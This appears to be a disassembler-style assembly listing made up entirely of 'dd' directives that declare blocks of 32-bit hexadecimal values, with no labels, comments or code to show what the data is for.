dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h
dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h
dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h
dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h
dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh
dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h
dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h
dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
dd 0B4B80A62h
dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h
dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h
dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh
dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h
dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh
dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h
dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h
dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh
dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h
dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh
dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h
dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h
dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h
dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh
dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh
dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh
dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh
dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch
dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h
dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h
dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh
dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h
dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h
dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh
dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh
dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h
dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h
dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h
dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh
dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh
dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh
dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h
dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh
dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh
dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh
dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh
dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h
dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h
dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h
dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h
dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h
dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh
dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h
dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh
dd 7E591277h, 0B409C401h
dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h
dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h
dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch
dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah
dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h
dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h
dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h
dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h
dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h
dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh
dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h
dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h
dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h
dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h
dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh
dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h
dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h
dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h
dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h
dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah
dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh
dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh
dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h
dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh
dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah
dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch
dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h
dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h
dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh
dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh
dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h
dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h
dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h
dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh
dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
dd 0FF007775h, 57ADCC67h
dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h
dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h
dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h
dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h
dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h
dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh
dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h
dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h
dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h
dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h
dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh
dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h
dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h
dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h
dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h
dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h
dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh
dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h
dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h
dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h
dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h
dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h
dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh
dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch
dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h
dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h
dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h
dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h
dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h
dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h
dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h
dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h
dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh
dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h
dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h
dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h
dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah
dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
